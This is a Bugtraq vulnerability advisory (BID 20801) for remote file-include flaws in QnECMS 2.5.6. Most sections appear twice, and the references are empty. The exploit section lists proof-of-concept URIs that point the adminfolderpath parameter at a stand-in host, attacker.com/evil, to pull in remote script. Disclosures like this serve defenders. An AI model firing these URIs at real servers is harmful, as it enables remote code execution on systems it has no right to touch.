QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
BID:20801
Info
QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 20801 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 30 2006 12:00AM |
| Updated: | Nov 22 2006 04:35PM |
| Credit: | K-159 is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
QnECMS QnECMS 2.5.6 |
| Not Vulnerable: |
QnECMS QnECMS 2.6.3 |
Discussion
QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
QnECMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Successfully exploiting these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
Version 2.5.6 is vulnerable.
QnECMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Successfully exploiting these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
Version 2.5.6 is vulnerable.
Exploit / POC
QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
An attacker may exploit these issues using a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?
The following exploit code is available:
An attacker may exploit these issues using a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil? #
http://www.example.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?
The following exploit code is available:
Solution / Fix
QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
Solution:
The vendor has released an update to address this issue. Please contact the vendor for more information on how to obtain and apply this update.
Solution:
The vendor has released an update to address this issue. Please contact the vendor for more information on how to obtain and apply this update.
References
QnECMS Adminfolderpath Parameter Multiple Remote File Include Vulnerabilities
References:
References: